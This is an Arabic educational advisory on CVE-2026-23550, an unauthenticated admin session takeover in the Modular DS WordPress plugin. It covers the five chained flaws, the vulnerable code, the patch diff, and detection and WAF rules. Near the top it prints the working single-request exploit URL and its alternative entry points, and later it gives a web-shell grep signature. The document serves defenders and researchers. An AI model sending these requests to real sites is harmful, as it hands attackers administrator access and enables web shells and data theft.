
تقرير تعليمي وPoC لـ CVE-2026-23550، وهو استيلاء حرج على جلسة المسؤول دون مصادقة في إضافة Modular DS لووردبريس. يتضمن تحليل السبب الجذري، ومراجعة الكود المصدري، وفرق التصحيح، وإرشادات الكشف.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
تحليل السبب الجذري · شرح الكود المصدري · فرق التصحيح · إثبات المفهوم التعليمي
بواسطة: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) هو إضافة لإدارة مواقع WordPress بعدد أكثر من 40,000 تثبيت نشط. الإصدارات ≤ 2.5.1 تحتوي على سلسلة من خمسة عيوب متراكمة تسمح لأي مهاجم غير مصادق بتجاوز المصادقة، واستدعاء نقطة تسجيل الدخول الداخلية للإضافة، وتلقي كوكي جلسةwordpress_logged_in_*لحساب المشرف الأول — مع طلب HTTP GET واحد.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
النتيجة: استيلاء كامل على صلاحيات المشرف. يمكن للمهاجم تثبيت إضافات ضارة، وضع قذائف ويب، إنشاء حسابات مشرف احتياطية، وسرقة قاعدة البيانات.
تؤدي الثغرة إلى تشغيل موجه مخصص مشتق من Laravel مدمج في الإضافة. ترسل الإضافة نواة HTTP خاصة بها (Ares/Framework) ترتبط بإجراء parse_request في ووردبريس لاختطاف الطلبات قبل أن يقوم توجيه ووردبريس نفسه بتولي الأمر.
المتطلبات المسبقة: لا شيء (الإضافة مثبتة ونشطة، ومتصلة بـ Modular SaaS — وهو الوضع الافتراضي لجميع التثبيتات الحية).
نقاط الدخول (أي واحدة منها كافية):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
الثغرة ليست عيبًا واحدًا — بل هي سلسلة من خمسة عيوب متراكمة. كل طبقة، إذا نظرنا إليها بشكل منفرد، قد تبدو دفاعية؛ لكنها مجتمعة تنهار إلى استيلاء على صلاحيات المشرف دون مصادقة.
flowchart TB
A["🌐 طلب المهاجم<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>تفتح البوابة بمجرد وجود معاملات استعلام"]
B --> C["② Router::findRoute()<br/>حل عنوان URL ضمنيًا إلى مسار /login"]
C --> D["③ مرشح bindOldRoutes()<br/>يمر عند type غير معروف"]
D --> E["④ ModularGuard::check()<br/>يتحقق من OAuth الخادم، وليس من الطلب"]
E --> F["⑤ AuthController::getLogin()<br/>الرجوع افتراضيًا لأول مستخدم مشرف"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>المهاجم = مشرف"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
HttpUtils::isDirectRequest()الملف: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ فقط معامل استعلام، بدون توقيع
}
return false;
}
المشكلة: وضع "الطلب المباشر" — الذي كان يهدف إلى التعرف على المكالمات الشرعية من خلفية Modular SaaS — يتم التحكم فيه بواسطة معاملات استعلام نصية عادية بدون HMAC، JWT، nonce موقع، أو قائمة عناوين IP مسموحة. يمكن لأي مهاجم تشغيل هذا المفتاح.
Router::findRoute()الملف: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ يتم حل عنوان URL إلى مسار قبل تشغيل المرشح
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
المشكلة: دالة routes->match($request) في Laravel تحل /api/modular-connector/login/xxx إلى مسار login (المحمي بالمصادقة) قبل تشغيل مرشح الأمان. يستلم المرشح هذا المسار كمدخل، مما يجعله يتحمل عبء إثبات أن المسار غير شرعي بدلاً من تفويضه صراحة.
bindOldRoutes()الملف: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* إعادة ربط عبر استدعاء OAuth موقع */ }
if ($type === 'oauth') { /* إعادة ربط إلى معالج /oauth */ }
if ($type === 'lb') { /* إعادة ربط إلى /schedule/run */ }
return $route; // ⚠️ نوع غير معروف → يبقى المسار من عنوان URL كما هو
}
المشكلة: يتجاوز المرشح المسار فقط عندما يكون type أحد القيم الثلاث المعروفة. عندما يكون type عشوائيًا (x، foo، فارغ)، فإنه يمر ويعيد المسار الذي تم حله من عنوان URL دون تغيير. ينتقل المسار المستند إلى عنوان URL login — والذي كان محميًا بالمصادقة على الورق — إلى تقييم الوسيطة.
ModularGuard::check()الملف: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ يتحقق من حالة الخادم
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
المشكلة: يقوم حارس modular المخصص بتنفيذ تحقق صفري من هوية الطلب الوارد. يتحقق فقط من أن الإضافة نفسها لا تزال تحتفظ بجلسة OAuth صالحة مع Modular SaaS. نظرًا لأن كل تثبيت تقريبًا متصل (وإلا كانت الإضافة عديمة الفائدة)، فإن الحارس يعيد true لأي طلب يصل إليه.
هذا هو العيب المحوري. حتى لو تم إصلاح العيوب ①–③، فإن هذا الحارس المكسور وحده سيظل يسمح بالوصول غير المصرح به إلى كل مسار في مجموعة وسيطة auth.
AuthController::getLogin()الملف: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — الربط لم يملأ أبدًا
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 أول مشرف على الموقع
}
$cookies = ServerSetup::loginAs($user, true); // 💣 إصدار كوكي جلسة WordPress
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
المشكلة: يتم ملء ربط SiteRequest للمسار فقط عندما يكون type === 'request' في سلسلة المرشح. بالنسبة لـ type غير معروف، يصل $modularRequest إلى وحدة التحكم ككائن فارغ. ثم تعود وحدة التحكم بهدوء إلى أول مستخدم مشرف وتصدر له كوكي تسجيل دخول WordPress. يمكن لأي شخص الدخول من الباب الأمامي.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 ابدأ دائمًا من مسار 404
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
يزيل الإصلاح حل URL→المسار الضمني تمامًا. يبدأ المرشح الآن بمسار default مربوط بـ abort(404) ويعيد الربط فقط إلى وحدة تحكم حقيقية عندما يكون type إحدى القيم الثلاث المسموح بها صراحة. في المنطق الجديد، ينتج type=x 404 — لا يصل الطلب أبدًا إلى وحدة التحكم في تسجيل الدخول، ولا يوجد شيء يمكن للحارس المكسور أن يفشل في مواجهته.
هذا هو الدفاع في العمق المطبق بأثر رجعي: على الرغم من أن ModularGuard::check() لا يزال ضعيفًا من الناحية الهيكلية، إلا أن سلسلة الوصول إليه مغلقة الآن للمسارات المحمية بالمصادقة.
modular-connector >= 2.5.2 — غير قابل للتفاوض.بعد الترقية، افترض الاختراق إذا كانت الإصابة ≤ 2.5.1 ومواجهة للإنترنت منذ 2026-01-13. تحقق من:
# 1. حسابات مشرف غير مصرح بها
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. تثبيت إضافات مشبوهة بعد 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. ملفات أساسية تم تعديلها مؤخرًا
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. قذائف ويب (الحمولات الشائعة التي يتم إسقاطها بعد الاستغلال)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 exploit attempt (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 direct-request bypass attempt'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
باحث متقدم في CVE · محلل ثغرات · باني إثبات المفهوم
هذا المستودع منشور بدقة لأغراض البحث التعليمية والدفاعية.
الثغرة معلنة علنًا ( CVE-2026-23550 )، وتم تصحيحها من قبل المطور (
modular-connector 2.5.2)، ومفصلة في الصحافة الأمنية السائدة. هذا الشرح موجود لمساعدة المدافعين على فهم السبب الجذري، والمطورين على التعلم من فشل تصميم المصادقة في العالم الحقيقي، والباحثين على دراسة نمط العيوب المتسلسلة.لا تقم بتشغيل نصوص إثبات المفهوم المضمنة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في كل ولاية قضائية تقريبًا (CFAA · قانون إساءة استخدام الكمبيوتر · قانون ITE · إلخ).
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. إذا كنت غير متأكد مما إذا كان استخدامك مصرحًا به، فهو ليس كذلك.
مصنوع بـ 🎯 من أجل مجتمع أبحاث الأمن.
⭐ قم بتمييز هذا المستودع بنجمة إذا ساعدك في تعلم شيء ما.
| الحقل | القيمة |
|---|
| اسم الإضافة | Modular DS |
| الاسم المختصر | modular-connector |
| الإصدارات المعرضة للخطر | <= 2.5.1 |
| الإصدار المصحح | 2.5.2 |
| التثبيتات النشطة | ~40,000 |
| CVSS v3.1 | 10.0 / حرج (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — فشل تحديد الهوية والمصادقة |
| # | الطبقة | الملف | المشكلة الجذرية |
|---|
| ① | بوابة التشغيل | HttpUtils.php:64 | فحص origin=mo يعتمد فقط على معاملات الاستعلام بدون تشفير/ nonce |
| ② | مطابقة URL → المسار | Router.php:20 | حل عنوان URL ضمنيًا يمر مباشرة إلى المرشح |
| ③ | مرشح تجاوز المسار | RouteServiceProvider.php:46 | type غير معروف يمر مع بقاء المسار الأصلي |
| ④ | حارس المصادقة | ModularGuard.php:16 | يتحقق من حالة OAuth على جانب الخادم، وليس هوية الطلب |
| ⑤ | وحدة التحكم في تسجيل الدخول | AuthController.php:66 | الرجوع الصامت إلى getAdminUser() عند عدم وجود مدخلات |
| التاريخ | الحدث |
|---|
| 2026-01-XX | المطور يصدر 2.5.2 مع إصلاح أمني صامت |
| 2026-01-13 ~02:00 UTC | أول استغلال ملاحظ في البرية |
| 2026-01-13 | Patchstack تنشر إشعارًا · تعيين CVE-2026-23550 |
| 2026-01-14 | تغطية من The Hacker News، BleepingComputer، Security Affairs |
| 2026-07-05 | نشر هذا الشرح التعليمي |